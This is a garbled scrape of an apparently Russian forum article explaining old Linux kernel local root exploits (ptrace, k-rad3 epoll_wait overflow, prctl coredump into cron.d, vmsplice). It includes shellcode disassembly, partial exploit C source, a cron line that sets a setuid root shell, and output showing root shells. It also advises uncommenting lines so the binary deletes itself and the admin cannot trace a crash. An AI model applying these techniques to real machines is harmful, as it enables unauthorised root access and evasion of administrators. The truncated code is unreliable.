![]() |
LINUX KERNEL EXPLOITS Вводные сведения, определения (с википедии большей частью). Уязвимость – недостаток в системе, используя который, возможно вызвать ее неправильную работу; Эксполйт – (англ. exploit – использовать, заюзывать(сленг)) фрагмент программного кода, который, используя возможности предоставляемые уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы(DOS); DoS-атака – (англ. Denial of Service – отказ в обслуживании) атака, при которой правомерные пользователи системы не могут получить доступ к предоставляемым ей(системой) ресурсам или этот доступ затруднен; UID – идентификатор пользователя, число, по которому система различает пользователей; root – пользователь с UID=0, администратор системы. Классификация сплойтов. по способу контакта с уязвимым програмным обеспечением: локальные (требуют предварительного доступа к уязвимой системе) удалённые (без предварительного доступа) по действию: повышающие привилегии вызывающие отказ в обслуживании. Речь пойдет о локальных сплойтах(так как удаленных под ядро очень мало в открытом доступе, а те что есть те неактуальны), повышающих привилегии(как самые опасные для системы). Все рассмотренные сплоиты дают привилегии «рута» на уязвимой системе. Рассматриваемые сплоиты: ptrace :[/COLOR]nop 0x0000000000601041:nop 0x0000000000601042:jmp 0x601063 0x0000000000601044:mov$0xb6,%eax;chown 0x0000000000601049:pop%rbx 0x000000000060104a: xor %ecx,%ecx;0 0x000000000060104c:mov%ecx,%edx;0 0x000000000060104e:int$0x80 0x0000000000601050:mov$0xf,%eax;chmod 0x0000000000601055:mov$0xded,%ecx;6755(восм) 0x000000000060105a:int$0x80 0x000000000060105c:mov%edx,%eax 0x000000000060105e:mov%edx,%ebx 0x0000000000601060:rex int$0x80 0x0000000000601063:callq 0x601044 0x0000000000601068:add%al,(%rax)[/COLOR] [/PHP] End of assembler dump. k-rad3 Целочисленное переполнение в функции sys_epoll_wait. asmlinkage long sys_epoll_wait(int epfd, struct epoll_event __user *events, int maxevents, int timeout) уязвимость существует в параметре maxevents. epoll_wait – один из 3 системных вызовов для управления epoll'ом(еще есть epoll_create и epoll_ctl). epoll'ы используются для слежения за несколькими файловыми дискрипторами сразу на предмет событий (пример событий: появились данные для чтения/записи, зафиксирована ошибка устройства или потока). подробнее вот тут: http://blog.kovyrin.net/2006/04/13/e...mming/lang/ru/ и вот тут: http://lse.sourceforge.net/epoll/index.html. необходимые условия для того чтобы сплойт сработал: ядро уязвимой версии; карма на +10 (спойт часто весит систему, вызывает kernel panic или просто не работает). примечание: /* unlink(argv[0]); */ // sync(); в тексте сплойта эти строки написаны не спроста. Если их раскомментировать то после запуска исполняемый файл удалится. В том случае если система повиснет, администратору машины будет сложнее определить источник сбоя. Описание работы сполйта (очень примерное): провеяет на то, запустились ли мы благодаря suid'ному биту из под рута; если да, то изменяет UID и GID владельца процесса на 0 и запускает shell; используя возможность перезаписывать память ядра, перезаписывает указатель на обработчик прерывания 0x7f; вызывает прерывание 0x7f при этом в нулевом кольце вызывается функция, которая ставит процессу сплойта uid,euid,gid,egid в 0 и очищает указатель на обработчик прерывания 0x7f (чтоб никто больше им не воспользовался) ставит программе-сплойту на диске суидный бит и владельца рута; Запускает шелл, он запускается с uid=0 и gid=0. пример поменьше, как перезаписывать память ядра используя epool_wait, можно найти на: http://lists.grok.org.uk/pipermail/f...ch/032314.html it is possible to partially overwrite low kernel ( >= 2.6 #include #include #include #include #include #include #include #define __KERNEL__ #include #undef __KERNEL__ #define MAXV 500 [/COLOR]int main(int argc,char**argv) { int epfd; int i; int res; struct epoll_event ev; int*fds; int over; void*km; over= ((unsigned int)-1)/sizeof(struct epoll_event)+1; km=(void*)(TASK_SIZE-over*sizeof(struct epoll_event) -4); printf("sizeof=%d %x %lx\n",sizeof(struct epoll_event),over,(unsigned long)km); epfd=epoll_create(MAXV); printf("Epoll descriptor %i\n",epfd); fds=calloc(2*MAXV,sizeof(int)); for(i=0;i ] [ Modified 2005/9 by alert7 ] [+] try open /proc/cpuinfo .. ok!! [+] find cpu flag pse in /proc/cpuinfo [+] CONFIG_X86_PAE :none [+] Cpu flag: pse ok [+] Exploit Way : 0 [+] Use 1 pages (one page is 4K ),rewrite 0xc0000000--(0xc0001000 + n) [+] thread_size 2 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 [+] idtr.base 0xc04e2000, base 0xc0000000 [+] kwrite base 0xc0000000, buf 0xbffee650,num 4100 [+] idt[0x7f] addr 0xffc003f8 [+] j00 1u(k7 k1d! BAYsLinuxBox k-rad3 # id uid=0(root) gid=0(root) groups=1000(bay) пример работы (запатченое ядро): bay@BAYsLinuxBox /k-rad3 $ ./k-rad -t2 [ k-rad3 – MAX_EVENTS) return -EINVAL; /* Verify that the area passed by the user is writeable */ [/COLOR] [/PHP] где происходит целочисленное переполнение (вот в этом месте можно открыть fs/eventpoll.c): PHP код:
prctl Возможность записи в каталоги пользователя root. С помощью системного вызова prctl можно управлять флагами отвечающими за создание дампов (coredumps) памяти процесса при его аварии. В линуксах 2.6.13–2.6.17 можно было указать, чтобы дампы создавались от имени пользователя root, чтобы исключить возможнось их прочтения кем-то другим, к тому же дампы писались в текущую директорию. Это привело к тому, что стало возможным писать файлы в директории с владельцем – рутом. необходимые условия для того чтобы сплойт сработал: ядро уязвимой версии; запущеный от рута cron(на многих системах по умолчанию). описание работы сполйта: в папке /tmp создаёт файлы getsuid.c и s.c. getsuid.c: в памяти процесса создается строка по формату схожая с записью cron'a * * * * * root chown root.root /tmp/s;chmod 4777 /tmp/s;rm -f /etc/cron.d/core\n»; Эта строка будучи проинтерпретирована cron'ом, каждую минуту будет менять владельца /tmp/s на рута и ставить ему суидный бит (нам достаточно чтоб она исполнилась один раз, поэтому мы делаем rm -f /etc/cron.d/core) процесс распадается на 2(fork). Потомок меняет текущий каталог на /etc/cron.d, с помощью ptctl устанавливает флаг чтоб дампы создавались от имени пользователя root, затем засыпает на 200 секунд. Родитель шлет потомку сигнал SIGSEGV чтобы вызвать создание дампа, затем засыпает на 120 секунд (60 секунд для того чтобы cron увидел файл в /etc/cron.d и 60 – для того, чтобы он выполнил команды (он выполнит в 00 секунд)). s.c: устанавливает uid'ы и gid'ы в 0, запускает шелл, и удаляет себя с диска. Компилирует эти два файла и запускает сначала getsuid потом s.c. Чистит за собой. запустим: bay@BAYsLinuxBox ~ $ ./sys_prctl wait aprox 4 min to get sh sh-3.2# id uid=0(root) gid=0(root) groups=1000(bay) sh-3.2# в соседней консоли: [BAYsLinuxBox ~ # cd /etc/cron.d/ BAYsLinuxBox cron.d # ls -l total 64 -rw------- 1 root bay 143360 Mar 16 16:54 core баг пофиксили в 2.6.17.3. Просто удалили возможность создания дампов от имени пользователя рут. из man prctl: “Between kernels 2.6.13 and 2.6.17, the value 2 was also permitted, which caused any binary which normally would not be dumped to be dumped readable by root only; for security reasons, this feature has been removed.” (про PR_SET_DUMPABLE) vmsplice ссылки: про системный вызов vmsplice: http://lwn.net/Articles/181169/ http://lwn.net/Articles/164887/ http://kerneltrap.org/node/6505 про механизм действия сплойта: http://www.linuxworld.com/news/2008/...rss-linux-news splice – по английски «соединять». Системный вызов используется чтобы «соединить» пайп и файл. После соединения при чтении из пайпа будет производится чтение из файла, а при записи – запись в файл. vmsplice – vm от “virtual memory”. Тоже самое что splice только с пайпом соединяется не файл а область памяти. Системный вызов vmsplice появился с версии 2.6.17. в этом системном вызове была не одна уязвимость. В ядрах 2.6.23–2.6.24 у области памяти которая передавалась вызову vmsplice не проверялись разрешения(можно ли туда писать). Можно было связать произвольную область памяти с пайпом и записывая в него, записывать в память. Это быстро нашли и пофиксили. Другая уязвимость(2.6.17–2.6.24) была в том что если, наоборот, соединять пайп с памятью (читаем из пайпа – читаем из памяти), то не проверялось, есть ли права на чтение памяти. На первый взгляд эта уязвимость позволяет только читать данные. Но эта уязвимость усилилась еще одной, если мы попытаемся связать область памяти очень большой длины то произойдет целочисленное переполнение. из fs/splice.c: PHP код:
Прямо вслед за этим идет код: PHP код:
(unsigned long) base – начало; npages – длина; &pages[buffers] – куда ложим рез-ат. get_user_pages используется для того чтобы найти указатели на соответствующующие структуры page (соответствующие виртуальным адресам которые указал пользователь). Функция описана в /mm/memory.c (очень рекомендую заглянуть). Она не расчитана на то, что ей будут передавать длину – 0 (когда загляните, рекомендую сделать поиск по len и понять почему не расчитана). В результате в массив который должна вернуть(через аргументы) функция get_iovec_page_array запишется больше чем PIPE_BUFFERS элементов. В результате память окажется повреждена. Используя это можно заставить ядро выполнить произвольный код (почему он выполняется до сих пор остается для меня загадкой.. об этом можно попробовать почитать на http://lwn.net/Articles/269532/) необходимые условия для того чтобы сплойт сработал: ядро уязвимой версии. запустим (уязвимая система): bay@BAYsLinuxBox /vmsplice/expl $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7d87000 .. 0xb7db9000 [+] root запустим ( |
| Время: 03:10 |